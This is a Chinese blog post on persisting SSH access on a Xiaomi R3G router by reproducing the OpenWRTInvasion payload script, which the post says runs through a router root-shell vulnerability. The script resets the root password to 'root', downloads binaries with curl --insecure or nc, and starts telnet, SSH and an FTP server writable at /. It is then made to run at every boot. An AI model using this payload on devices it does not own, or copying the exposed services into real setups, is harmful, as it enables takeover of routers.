首页 > 其他分享 >小米路由器R3G稳定2.28.44 固化SSH

小米路由器R3G稳定2.28.44 固化SSH

时间:2023-07-29 10:00:13浏览次数:43  
标签:tmp busybox userdisk 44 R3G dropbear 2.28 SSH file

1.SSH

参考恩山论坛的帖子SSH即可
[R3G] R3G 和 R3GV2 解锁 SSH
我做了实验 R3G稳定2.28.44 是可以一键SSH的。

2.固化SSH

帖子中SSH所使用的本质是OpenWRTInvasion
原理是通过小米路由器的Root shell漏洞上传二进制文件进而获取SSH及root
但是所有的二进制文件全部上传于/tmp目录下,而小米路由器在每次重启后都会重置该目录,也就是说重启便会丢失SSH。
当然OpenWRTInvasion项目本来就是通过获取SSH进而刷写不死鸟然后刷到OpenWRT的。
让我们看下相关执行脚本

#!/bin/ash

set -euo pipefail

exploit() {
    setup_password
    setup_busybox
    start_telnet
    start_ftp
    start_ssh
    echo "Done exploiting"
}

download_file_from_github() {
    # Rationale for using --insecure: https://github.com/acecilia/OpenWRTInvasion/issues/31#issuecomment-690755250
    curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/$1" --insecure --output "$2"
}

download_file_from_tcp_server() {
    echo "$1" | nc "${REMOTE_ADDR}" "${QUERY_STRING}" >"$2"
}

get_file() {
    src_file="$1"
    dst_file="$2"

    rm -rf "${dst_file}"

    port="${QUERY_STRING}"
    if [ x"${port}" = x0 ]; then
        download_file_from_github "${src_file}" "${dst_file}"
    else
        download_file_from_tcp_server "${src_file}" "${dst_file}"
    fi
}

setup_password() {
    # Override existing password, as the default one set by xiaomi is unknown
    # https://www.systutorials.com/changing-linux-users-password-in-one-command-line/
    echo -e "root\nroot" | passwd root
}

setup_busybox() {
    # kill/stop telnet, in case it is running from a previous execution
    pgrep busybox | xargs kill || true

    cd /tmp
    get_file busybox-mipsel busybox
    chmod +x busybox
}

start_ftp() {
    cd /tmp
    ln -sfn busybox ftpd # Create symlink needed for running ftpd
    ./busybox tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/messages 2>&1 &
}

start_telnet() {
    cd /tmp
    ./busybox telnetd
}

start_ssh() {
    cd /tmp

    # Clean
    rm -rf dropbear
    rm -rf /etc/dropbear

    # kill/stop dropbear, in case it is running from a previous execution
    pgrep dropbear | xargs kill || true

    # Donwload dropbear static mipsel binary
    get_file dropbearStaticMipsel.tar.bz2 dropbear.tar.bz2
    mkdir dropbear
    /tmp/busybox tar xvfj dropbear.tar.bz2 -C dropbear --strip-components=1

    # Add keys
    # http://www.ibiblio.org/elemental/howto/dropbear-ssh.html
    mkdir -p /etc/dropbear
    cd /etc/dropbear
    /tmp/dropbear/dropbearkey -t rsa -f dropbear_rsa_host_key
    /tmp/dropbear/dropbearkey -t dss -f dropbear_dss_host_key

    # Start SSH server
    /tmp/dropbear/dropbear

    # https://unix.stackexchange.com/a/402749
    # Login with ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc [email protected]
}

remount() {
    echo "Remount /usr/share/xiaoqiang as read-write"

    cp -R /usr/share/xiaoqiang /tmp/xiaoqiang
    mount --bind /tmp/xiaoqiang /usr/share/xiaoqiang

    echo "Done remounting"
}

# Function inspired by https://openwrt.org/docs/guide-user/installation/generic.backup#create_full_mtd_backup
mtd_backup() {
    TMPDIR="/tmp"
    BACKUP_DIR="${TMPDIR}/mtd_backup"
    OUTPUT_FILE="${TMPDIR}/mtd_backup.tgz"

    # Start
    echo "Start"
    rm -rf "${BACKUP_DIR}"
    mkdir -p "${BACKUP_DIR}"

    # List remote mtd devices from /proc/mtd. The first line is just a table
    # header, so skip it (using tail)
    cat /proc/mtd | tail -n+2 | while read; do
        MTD_DEV=$(echo ${REPLY} | cut -f1 -d:)
        MTD_NAME=$(echo ${REPLY} | cut -f2 -d\")
        echo "Backing up ${MTD_DEV} (${MTD_NAME})"
        dd if="/dev/${MTD_DEV}" of="${BACKUP_DIR}/${MTD_DEV}_${MTD_NAME}.bin"
    done
    
    # Do not compress, as the device runs out of storage for such operation
    echo "Done backing up"
}

# From https://stackoverflow.com/a/16159057
"$@"

可以看到相关二进制全部存放于/tmp目录中,想要固化,本质上就是拷贝到其他目录

1.查看目录解构,选择存放目录
df -h

image
最终选择存放到/userdisk目录下

2.拷贝dropbear[用于提供ssh]
cp -r /tmp/dropbear/ /userdisk/dropbear/
3.拷贝busybox工具箱
mkdir -p /userdisk/busybox
cp /tmp/busybox /userdisk/busybox/
4.添加启动引导

编辑/etc/rc.local文件 添加开机执行脚本文件
需要注意在exit 0 之前添加

#ssh支持
/userdisk/dropbear/dropbear
#ftpd支持
ln -sfn /userdisk/busybox/busybox /tmp/ftpd
/userdisk/busybox/busybox tcpsvd -vE 0.0.0.0 21 /tmp/ftpd -Sw / >> /tmp/messages 2>&1 &
#telnetd支持
/userdisk/busybox/busybox telnetd

完整文件如下:

# restore phy config
speed=$(uci -q get xiaoqiang.common.WAN_SPEED)
[ -n "$speed" ] && /usr/sbin/phyhelper swan "$speed"
/userdisk/dropbear/dropbear
ln -sfn /userdisk/busybox/busybox /tmp/ftpd
/userdisk/busybox/busybox tcpsvd -vE 0.0.0.0 21 /tmp/ftpd -Sw / >> /tmp/messages 2>&1 &
/userdisk/busybox/busybox telnetd
exit 0

3.修改路由器 Banner[非必须]

1.生成

生成地址:http://patorjk.com/software/taag/#p=display&f=Big Money-ne&t=ARE U OK

2.修改

R3G的Banner文件位于/etc/banner

3.效果

image

标签:tmp,busybox,userdisk,44,R3G,dropbear,2.28,SSH,file
From: https://www.cnblogs.com/fanqisoft/p/17589338.html

相关文章

  • 洛谷P4407 电子词典
    读完这题我马上就想到了题解trie+dfs的爆搜解法,这种解法思维难度很低,算个模拟,很容易想到但是我们稍微计算一下复杂度,就可以发现达到了\(1e8\)级别(\(26*20*20*1e4\),即对于每一个待查字符串(\(1e4\)),枚举每一个位置(\(20\)),每一个位置枚举26个字母(\(26\)),然后再在trie树上匹配(\(20\)))害......
  • 如何禁止别人访问我的445
    实验四第一种:打开运行,输入services.msc,禁止server服务,来禁止445端口的开放,于是外部无法通过445端口进入    第二种:禁⽌被访问445,配置控制⾯板--防⽕墙--⾼级设置--⾼级安全防⽕墙--添加⼊站规则(在win7及以上系统,win2008及以上系统)  点击防火墙,防火墙里有高级......
  • Acrobat Pro DC 2023 for Mac(PDF编辑器) 2023.003.20244 中文版
    AcrobatProDC2023forMac是一款功能强大的PDF编辑器软件,由AdobeSystems开发。它为Mac用户提供了广泛的PDF处理工具和功能,使用户能够创建、编辑、转换和共享高质量的PDF文件。以下是AcrobatProDC2023forMac的一些主要特点和功能:PDF编辑:AcrobatProDC允许用户对PDF文件进......
  • Apache Shiro 反序列化漏洞(CVE-2016-4437)
    漏洞简介ApacheShiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。版本信息:ApacheShiro<=1.2.4漏洞名称:ApacheShiro1.2.4反序列化漏洞,即shiro-550反序列化漏洞。漏洞形成原理:1、检索RememberMecookie的......
  • 《一个程序猿的生命周期》-《发展篇》- 44.再次进军内蒙市场(转型)
        2015年9月16日写过一篇文章《争取内蒙区的市场销售》,这是发生在2013年左右的事,距今相隔10年左右的时间。2023年1月18日(春节前)开始几乎每周都要去内蒙,从第一次与稀土领域的领导交流,中间出现新的稀土项目机会,现场交流、商务、招人、调研、方案设计等,即有身心疲惫又有努......
  • n stable报错curl: (7) Failed to connect to nodejs.org port 443: Connection refus
    nstable报错curl:(7)Failedtoconnecttonodejs.orgport443:ConnectionrefusedError:failedtodownloadversionindex(https://nodejs.org/dist/index.tab)使用淘宝源exportN_NODE_MIRROR=https://npm.taobao.org/mirrors/nodenstable......
  • CS5466单芯片集成TypeC转HDMI 8K30HZ(4K144HZ)芯片方案原理图
    CS5466支持USBType-C输入,HDMI2.1输出·HDMI输出48Gbps(FRL,12G4Lane)·支持4K@120Hz格式·支持DSC·支持音频SPDIF/I2S/HBR/DSD/TDM格式。内部集成了PD3.0及DSCdecoder,可支持DP2Lane8K30或4K144,并能按客户需求配置成不同的功能组合。CS5466是一款Type-C转HDMI8K30HZ或者......
  • uni-app vue-cli命令行创建项目,拉取模板(dcloudio/uni-preset-vue)失败,443超时报错
    安装vue/clinpminstall-g@vue/cli问题根据官网提示,通过vue-cli命令行创建项目,出现如下报错。Fetchingremotepresetdcloudio/uni-preset-vue...ERRORFailedfetchingremotepresetdcloudio/uni-preset-vue:ERRORRequestError:connectETIMEDOUT192.30.25......
  • 服务器防火墙,放行443端口,命令
    查看服务器防火墙是什么iptables和firewalld都是用于配置Linux系统防火墙的工具。两者的主要差异在于使用的命令和配置语法的不同。iptables是传统的防火墙工具,适用于几乎所有的Linux发行版,而firewalld更加适用于最新的CentOS7和RHEL7系统。命令sudofirew......
  • vue--day44-todolist的localStorage本地存储
    添加修改删除数据发生变化,可以用watch监测来实现监测数据的变化1.App.vue  <template><divid="root"><divclass="todo-container"><divclass="todo-wrap"><!--传递函数儿子给父亲传东西,父亲偷偷传递一个函数,儿子调用这个函数--><MyHeader:addTodo=&q......